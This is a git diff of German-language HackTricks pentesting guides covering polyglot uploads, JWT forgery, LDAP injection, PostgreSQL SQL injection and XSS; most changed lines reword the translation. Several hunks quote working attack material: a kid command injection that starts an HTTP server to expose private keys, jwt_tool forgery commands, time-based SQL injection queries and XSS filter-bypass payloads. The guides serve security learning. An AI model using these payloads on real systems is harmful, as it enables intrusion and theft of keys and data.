Der Hauptnutzen von Polyglot-Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf dem Typ filtern. Übliche Praktiken in verschiedenen Anwendungen erlauben nur bestimmte Dateitypen zum Hochladen—wie JPEG, GIF oder DOC—um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglot kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Einschränkungen heimlich umgehen.
|
||||
|
||||
Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Zum Beispiel könnte der Erfolg des Hochladens eines Polyglots, das gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpert, von den Richtlinien der Plattform bezüglich der Dateiendungen abhängen. Wenn das System strenge Vorgaben für zulässige Erweiterungen hat, könnte die bloße strukturelle Dualität eines Polyglots nicht ausreichen, um sein Hochladen zu garantieren.
|
||||
Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Zum Beispiel könnte der Erfolg des Hochladens eines Polyglots, das gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpert, von den Richtlinien der Plattform bezüglich der Dateiendungen abhängen. Wenn das System strenge Vorgaben zu zulässigen Erweiterungen hat, könnte die bloße strukturelle Dualität eines Polyglots nicht ausreichen, um sein Hochladen zu garantieren.
|
||||
|
||||
Weitere Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
|
@ -329,7 +329,7 @@ Weitere Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-b
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
@ -341,7 +341,7 @@ Lernen & üben Sie GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>HackTricks unterstützen</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
|||
|
|
@ -15,7 +15,7 @@ Lernen & üben Sie GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
@ -52,7 +52,7 @@ Um zu überprüfen, ob die Signatur eines JWT verifiziert wird:
|
|||
|
||||
* Eine Fehlermeldung deutet auf eine laufende Überprüfung hin; sensible Details in ausführlichen Fehlern sollten überprüft werden.
|
||||
* Eine Änderung der zurückgegebenen Seite deutet ebenfalls auf eine Überprüfung hin.
|
||||
* Keine Änderung deutet auf keine Überprüfung hin; dies ist der Zeitpunkt, um mit der Manipulation der Payload-Ansprüche zu experimentieren.
|
||||
* Keine Änderung deutet auf keine Überprüfung hin; dies ist der Zeitpunkt, um mit der Manipulation von Payload-Ansprüchen zu experimentieren.
|
||||
|
||||
### Ursprung
|
||||
|
||||
|
|
@ -92,7 +92,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
|||
Ein Angreifer bettet einen neuen Schlüssel in den Header des Tokens ein, und der Server verwendet diesen neuen Schlüssel zur Überprüfung der Signatur (CVE-2018-0114).
|
||||
|
||||
Dies kann mit der "JSON Web Tokens" Burp-Erweiterung durchgeführt werden.\
|
||||
(Senden Sie die Anfrage an den Repeater, wählen Sie im Tab für JSON Web Token "CVE-2018-0114" aus und senden Sie die Anfrage).
|
||||
(Senden Sie die Anfrage an den Repeater, wählen Sie im Tab "JSON Web Token" "CVE-2018-0114" aus und senden Sie die Anfrage).
|
||||
|
||||
### JWKS Spoofing
|
||||
|
||||
|
|
@ -125,7 +125,7 @@ Der `kid`-Anspruch könnte auch ausgenutzt werden, um durch das Dateisystem zu n
|
|||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
Durch das Anvisieren von Dateien mit vorhersehbarem Inhalt ist es möglich, ein gültiges JWT zu fälschen. Zum Beispiel kann die Datei `/proc/sys/kernel/randomize_va_space` in Linux-Systemen, die bekannt dafür ist, den Wert **2** zu enthalten, im `kid`-Parameter mit **2** als symmetrischem Passwort für die JWT-Generierung verwendet werden.
|
||||
Durch das Anvisieren von Dateien mit vorhersehbarem Inhalt ist es möglich, ein gültiges JWT zu fälschen. Zum Beispiel kann die Datei `/proc/sys/kernel/randomize_va_space` in Linux-Systemen, die den Wert **2** enthält, im `kid`-Parameter mit **2** als symmetrischem Passwort für die JWT-Generierung verwendet werden.
|
||||
|
||||
#### SQL-Injection über "kid"
|
||||
|
||||
|
|
@ -137,7 +137,7 @@ Diese Änderung zwingt die Verwendung eines bekannten geheimen Schlüssels, `ATT
|
|||
|
||||
#### OS-Injection über "kid"
|
||||
|
||||
Ein Szenario, in dem der `kid`-Parameter einen Dateipfad angibt, der innerhalb eines Befehlsausführungskontexts verwendet wird, könnte zu Remote Code Execution (RCE)-Schwachstellen führen. Durch das Injizieren von Befehlen in den `kid`-Parameter ist es möglich, private Schlüssel offenzulegen. Ein Beispiel für eine Nutzlast, um RCE und Schlüsseloffenlegung zu erreichen, ist:
|
||||
Ein Szenario, in dem der `kid`-Parameter einen Dateipfad angibt, der innerhalb eines Befehlsausführungskontexts verwendet wird, könnte zu Remote Code Execution (RCE)-Schwachstellen führen. Durch das Injizieren von Befehlen in den `kid`-Parameter ist es möglich, private Schlüssel offenzulegen. Ein Beispiel für eine Nutzlast zur Erreichung von RCE und Schlüsseloffenlegung ist:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
|
|
@ -199,7 +199,7 @@ Wenn das JWT einen öffentlichen Schlüssel eingebettet hat, wie im folgenden Sz
|
|||
|
||||
.png>)
|
||||
|
||||
Mit dem folgenden nodejs-Skript ist es möglich, einen öffentlichen Schlüssel aus diesen Daten zu generieren:
|
||||
Mit dem folgenden Node.js-Skript ist es möglich, einen öffentlichen Schlüssel aus diesen Daten zu generieren:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
|
@ -236,7 +236,7 @@ Hier ist ein Beispiel: [ECDSA: Offenlegung des privaten Schlüssels, wenn dersel
|
|||
### JTI (JWT ID)
|
||||
|
||||
Der JTI (JWT ID) Anspruch bietet einen eindeutigen Identifikator für ein JWT-Token. Er kann verwendet werden, um zu verhindern, dass das Token wiederverwendet wird.\
|
||||
Stellen Sie sich jedoch eine Situation vor, in der die maximale Länge der ID 4 beträgt (0001-9999). Die Anfragen 0001 und 10001 werden dieselbe ID verwenden. Wenn das Backend die ID bei jeder Anfrage erhöht, könnten Sie dies ausnutzen, um eine **Anfrage wiederzugeben** (wobei 10000 Anfragen zwischen jeder erfolgreichen Wiederholung gesendet werden müssen).
|
||||
Stellen Sie sich jedoch eine Situation vor, in der die maximale Länge der ID 4 beträgt (0001-9999). Die Anfragen 0001 und 10001 werden dieselbe ID verwenden. Wenn das Backend die ID bei jeder Anfrage inkrementiert, könnten Sie dies ausnutzen, um eine **Anfrage wiederzugeben** (wobei 10000 Anfragen zwischen jeder erfolgreichen Wiederholung gesendet werden müssen).
|
||||
|
||||
### JWT Registrierte Ansprüche
|
||||
|
||||
|
|
@ -248,7 +248,7 @@ Stellen Sie sich jedoch eine Situation vor, in der die maximale Länge der ID 4
|
|||
|
||||
Es wurde beobachtet, dass einige Webanwendungen auf einen vertrauenswürdigen JWT-Dienst zur Generierung und Verwaltung ihrer Tokens angewiesen sind. Es wurden Fälle dokumentiert, in denen ein Token, das für einen Client vom JWT-Dienst generiert wurde, von einem anderen Client desselben JWT-Dienstes akzeptiert wurde. Wenn die Ausgabe oder Erneuerung eines JWT über einen Drittanbieterdienst beobachtet wird, sollte die Möglichkeit untersucht werden, sich mit demselben Benutzernamen/E-Mail bei einem anderen Client dieses Dienstes anzumelden. Anschließend sollte versucht werden, das erhaltene Token in einer Anfrage an das Ziel wiederzugeben, um zu sehen, ob es akzeptiert wird.
|
||||
|
||||
* Ein kritisches Problem könnte durch die Akzeptanz Ihres Tokens angezeigt werden, was möglicherweise das Spoofing eines beliebigen Benutzerkontos ermöglicht. Es sollte jedoch beachtet werden, dass möglicherweise eine Genehmigung für umfassendere Tests erforderlich ist, wenn Sie sich bei einer Drittanbieteranwendung anmelden, da dies in einen rechtlichen Graubereich fallen könnte.
|
||||
* Ein kritisches Problem könnte durch die Akzeptanz Ihres Tokens angezeigt werden, was möglicherweise das Spoofing eines beliebigen Benutzerkontos ermöglichen könnte. Es sollte jedoch beachtet werden, dass möglicherweise eine Genehmigung für umfassendere Tests erforderlich ist, wenn Sie sich bei einer Drittanbieteranwendung anmelden, da dies in einen rechtlichen Graubereich fallen könnte.
|
||||
|
||||
**Ablaufprüfung von Tokens**
|
||||
|
||||
|
|
@ -260,7 +260,7 @@ Das Ablaufdatum des Tokens wird mit dem "exp" Payload-Anspruch überprüft. Da J
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
|
|
|||
|
|
@ -17,7 +17,7 @@ Lerne & übe GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
@ -33,7 +33,7 @@ Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacke
|
|||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**LDAP Injection** ist ein Angriff auf Webanwendungen, die LDAP-Anweisungen aus Benutzereingaben erstellen. Er tritt auf, wenn die Anwendung **Eingaben nicht ordnungsgemäß bereinigt**, was Angreifern ermöglicht, **LDAP-Anweisungen** über einen lokalen Proxy zu **manipulieren**, was potenziell zu unbefugtem Zugriff oder Datenmanipulation führen kann.
|
||||
**LDAP Injection** ist ein Angriff, der auf Webanwendungen abzielt, die LDAP-Anweisungen aus Benutzereingaben erstellen. Er tritt auf, wenn die Anwendung **nicht ordnungsgemäß** Eingaben bereinigt, was Angreifern ermöglicht, **LDAP-Anweisungen** über einen lokalen Proxy zu **manipulieren**, was potenziell zu unbefugtem Zugriff oder Datenmanipulation führen kann.
|
||||
|
||||
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
|
|
@ -224,7 +224,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
@ -236,7 +236,7 @@ Lernen & üben Sie GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
|
|||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks unterstützen</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
|||
|
|
@ -15,7 +15,7 @@ Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
@ -23,7 +23,7 @@ Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacke
|
|||
|
||||
***
|
||||
|
||||
**Diese Seite soll verschiedene Tricks erklären, die dir helfen könnten, eine SQL-Injektion in einer PostgreSQL-Datenbank auszunutzen und die Tricks zu ergänzen, die du auf** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **finden kannst.**
|
||||
**Diese Seite zielt darauf ab, verschiedene Tricks zu erklären, die dir helfen könnten, eine SQL-Injektion in einer PostgreSQL-Datenbank auszunutzen und die Tricks zu ergänzen, die du auf** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **finden kannst.**
|
||||
|
||||
## Netzwerkinteraktion - Privilegieneskalation, Port-Scanner, NTLM-Challenge-Response-Offenlegung & Exfiltration
|
||||
|
||||
|
|
@ -35,7 +35,7 @@ Du kannst [**dieses Beispiel lesen**](dblink-lo_import-data-exfiltration.md), um
|
|||
|
||||
## PostgreSQL-Angriffe: Lesen/Schreiben, RCE, Privilegieneskalation
|
||||
|
||||
Überprüfe, wie man den Host kompromittiert und Privilegien von PostgreSQL eskaliert in:
|
||||
Überprüfe, wie man den Host kompromittiert und Privilegien aus PostgreSQL eskaliert in:
|
||||
|
||||
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
|
||||
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
|
||||
|
|
@ -50,7 +50,7 @@ Das Manipulieren von Strings könnte dir helfen, **WAFs oder andere Einschränku
|
|||
|
||||
### Gestapelte Abfragen
|
||||
|
||||
Denke daran, dass PostgreSQL gestapelte Abfragen unterstützt, aber mehrere Anwendungen einen Fehler ausgeben, wenn 2 Antworten zurückgegeben werden, während nur 1 erwartet wird. Aber du kannst die gestapelten Abfragen weiterhin über Zeit-Injektion missbrauchen:
|
||||
Denke daran, dass PostgreSQL gestapelte Abfragen unterstützt, aber mehrere Anwendungen einen Fehler auslösen, wenn 2 Antworten zurückgegeben werden, während nur 1 erwartet wird. Aber du kannst die gestapelten Abfragen weiterhin über Zeit-Injektion missbrauchen:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
|
|
@ -71,7 +71,7 @@ SELECT database_to_xml(true,true,'');
|
|||
```
|
||||
### Strings in Hex
|
||||
|
||||
Wenn Sie **Abfragen** ausführen können, indem Sie sie **innerhalb eines Strings** übergeben (zum Beispiel mit der **`query_to_xml`**-Funktion). **Sie können `convert_from` verwenden, um den String als Hexadezimalwert zu übergeben und auf diese Weise Filter zu umgehen:**
|
||||
Wenn Sie **Abfragen** ausführen können, indem Sie sie **innerhalb eines Strings** übergeben (zum Beispiel mit der **`query_to_xml`**-Funktion). **Sie können die convert\_from verwenden, um den String als Hex zu übergeben und auf diese Weise Filter zu umgehen:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
|
|
@ -97,7 +97,7 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
|
|||
|
|
@ -1,8 +1,8 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -11,12 +11,12 @@ Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hack
|
|||
1. Überprüfen Sie, ob **irgendein Wert, den Sie kontrollieren** (_Parameter_, _Pfad_, _Header_?, _Cookies_?) im HTML **reflektiert** oder von **JS**-Code **verwendet** wird.
|
||||
2. **Finden Sie den Kontext**, in dem es reflektiert/verwendet wird.
|
||||
3. Wenn **reflektiert**:
|
||||
1. Überprüfen Sie, **welche Symbole Sie verwenden können** und bereiten Sie je nach dem die Payload vor:
|
||||
1. Überprüfen Sie, **welche Symbole Sie verwenden können** und bereiten Sie je nach dem den Payload vor:
|
||||
1. In **rohem HTML**:
|
||||
1. Können Sie neue HTML-Tags erstellen?
|
||||
2. Können Sie Ereignisse oder Attribute verwenden, die das `javascript:`-Protokoll unterstützen?
|
||||
3. Können Sie Schutzmaßnahmen umgehen?
|
||||
4. Wird der HTML-Inhalt von einer clientseitigen JS-Engine (_AngularJS_, _VueJS_, _Mavo_...) interpretiert, könnten Sie eine [**Client Side Template Injection**](../client-side-template-injection-csti.md) ausnutzen.
|
||||
4. Wird der HTML-Inhalt von einer Client-seitigen JS-Engine (_AngularJS_, _VueJS_, _Mavo_...) interpretiert, könnten Sie eine [**Client Side Template Injection**](../client-side-template-injection-csti.md) ausnutzen.
|
||||
5. Wenn Sie keine HTML-Tags erstellen können, die JS-Code ausführen, könnten Sie eine [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/) ausnutzen?
|
||||
2. Innerhalb eines **HTML-Tags**:
|
||||
1. Können Sie in den rohen HTML-Kontext wechseln?
|
||||
|
|
@ -43,7 +43,7 @@ Wenn Sie an einer komplexen XSS arbeiten, könnte es interessant sein, über Fol
|
|||
|
||||
Um eine XSS erfolgreich auszunutzen, müssen Sie zuerst einen **Wert finden, der von Ihnen kontrolliert wird und in der Webseite reflektiert wird**.
|
||||
|
||||
* **Zwischendurch reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar der Pfad in der Webseite reflektiert wird, könnten Sie eine **Reflected XSS** ausnutzen.
|
||||
* **Intermediär reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar der Pfad in der Webseite reflektiert wird, könnten Sie eine **Reflected XSS** ausnutzen.
|
||||
* **Gespeichert und reflektiert**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert auf dem Server gespeichert wird und jedes Mal reflektiert wird, wenn Sie auf eine Seite zugreifen, könnten Sie eine **Stored XSS** ausnutzen.
|
||||
* **Über JS zugegriffen**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert über JS zugegriffen wird, könnten Sie eine **DOM XSS** ausnutzen.
|
||||
|
||||
|
|
@ -62,8 +62,8 @@ Wenn Ihre Eingabe im Wert des Attributs eines Tags reflektiert wird, könnten Si
|
|||
|
||||
1. Von **dem Attribut und dem Tag zu entkommen** (dann sind Sie im rohen HTML) und ein neues HTML-Tag zu erstellen, um es auszunutzen: `"><img [...]`
|
||||
2. Wenn Sie **vom Attribut, aber nicht vom Tag entkommen können** (`>` ist kodiert oder gelöscht), könnten Sie je nach Tag **ein Ereignis erstellen**, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="`
|
||||
3. Wenn Sie **nicht vom Attribut entkommen können** (`"` wird kodiert oder gelöscht), dann können Sie je nach **welchem Attribut** Ihr Wert reflektiert wird **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, es ausnutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
|
||||
4. Wenn Ihre Eingabe innerhalb von "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie den **`accesskey`**-Trick versuchen, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
3. Wenn Sie **nicht vom Attribut entkommen können** (`"` wird kodiert oder gelöscht), dann hängt es davon ab, **in welchem Attribut** Ihr Wert reflektiert wird und **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, ob Sie es ausnutzen können. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
|
||||
4. Wenn Ihre Eingabe innerhalb von "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie versuchen, den **`accesskey`**-Trick zu verwenden, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen kontrollieren:
|
||||
```html
|
||||
|
|
@ -98,9 +98,9 @@ Javascript Hoisting bezieht sich auf die Möglichkeit, **Funktionen, Variablen o
|
|||
|
||||
### Javascript Funktion
|
||||
|
||||
Mehrere Webseiten haben Endpunkte, die **als Parameter den Namen der auszuführenden Funktion akzeptieren**. Ein häufiges Beispiel, das man in der Wildnis sieht, ist etwas wie: `?callback=callbackFunc`.
|
||||
Mehrere Webseiten haben Endpunkte, die **den Namen der auszuführenden Funktion als Parameter akzeptieren**. Ein häufiges Beispiel, das man in der Wildnis sieht, ist etwas wie: `?callback=callbackFunc`.
|
||||
|
||||
Eine gute Möglichkeit herauszufinden, ob etwas, das direkt vom Benutzer gegeben wird, versucht wird auszuführen, ist **den Parametervalue zu ändern** (zum Beispiel auf 'Vulnerable') und in der Konsole nach Fehlern zu suchen wie:
|
||||
Eine gute Möglichkeit herauszufinden, ob etwas, das direkt vom Benutzer gegeben wird, versucht wird auszuführen, ist **den Parameterwert zu ändern** (zum Beispiel auf 'Vulnerable') und in der Konsole nach Fehlern zu suchen wie:
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -233,7 +233,7 @@ onerror=alert`1`
|
|||
### Length bypass (kleine XSS)
|
||||
|
||||
{% hint style="info" %}
|
||||
**Weitere kleine XSS für verschiedene Umgebungen** Payloads [**finden Sie hier**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me).
|
||||
**Weitere kleine XSS für verschiedene Umgebungen** Payload [**finden Sie hier**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me).
|
||||
{% endhint %}
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
|
|
@ -359,7 +359,7 @@ _**In diesem Fall ist der HTML-Encoding- und der Unicode-Encoding-Trick aus dem
|
|||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Außerdem gibt es einen weiteren **schönen Trick** für diese Fälle: **Selbst wenn Ihre Eingabe innerhalb von `javascript:...` URL-kodiert ist, wird sie vor der Ausführung URL-dekodiert.** Wenn Sie also aus der **Zeichenkette** mit einem **einzelnen Anführungszeichen** **entkommen** müssen und sehen, dass **es URL-kodiert ist**, denken Sie daran, dass **es keine Rolle spielt,** es wird zur **Ausführungszeit** als **einzelnes Anführungszeichen** **interpretiert**.
|
||||
Außerdem gibt es einen weiteren **schönen Trick** für diese Fälle: **Selbst wenn Ihre Eingabe innerhalb von `javascript:...` URL-codiert ist, wird sie vor der Ausführung URL-dekodiert.** Wenn Sie also aus der **Zeichenkette** mit einem **einzelnen Anführungszeichen** **entkommen** müssen und sehen, dass **es URL-codiert ist**, denken Sie daran, dass **es keine Rolle spielt,** es wird während der **Ausführungszeit** als **einzelnes Anführungszeichen** **interpretiert.**
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
|
|
@ -391,10 +391,10 @@ Wenn Sie eine beliebige URL in ein beliebiges **`<a href=`** Tag einfügen könn
|
|||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Umgehung von Ereignis-Handlern
|
||||
### zum Umgehen von Ereignis-Handlern
|
||||
|
||||
Überprüfen Sie zunächst diese Seite ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) auf nützliche **"on" Ereignis-Handler**.\
|
||||
Falls es eine schwarze Liste gibt, die Sie daran hindert, diese Ereignis-Handler zu erstellen, können Sie die folgenden Umgehungen ausprobieren:
|
||||
Falls es eine Blacklist gibt, die Sie daran hindert, diese Ereignis-Handler zu erstellen, können Sie die folgenden Umgehungen ausprobieren:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
|
@ -454,7 +454,7 @@ Wenn du ein **XSS in einem sehr kleinen Teil** des Webs gefunden hast, das eine
|
|||
|
||||
Zum Beispiel könntest du einige Stile im Element hinzufügen wie: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Aber, wenn das WAF das Stil-Attribut filtert, kannst du CSS-Styling-Gadgets verwenden. Wenn du zum Beispiel findest
|
||||
Aber, wenn das WAF das style-Attribut filtert, kannst du CSS-Styling-Gadgets verwenden, also wenn du zum Beispiel findest
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
|
|
@ -743,7 +743,7 @@ Es gibt **JS-Code**, der **unsichere Daten verwendet, die von einem Angreifer ko
|
|||
{% endcontent-ref %}
|
||||
|
||||
Dort finden Sie eine detaillierte **Erklärung, was DOM-Schwachstellen sind, wie sie provoziert werden und wie man sie ausnutzt**.\
|
||||
Vergessen Sie auch nicht, dass **am Ende des erwähnten Beitrags** eine Erklärung zu [**DOM Clobbering-Angriffen**](dom-xss.md#dom-clobbering) zu finden ist.
|
||||
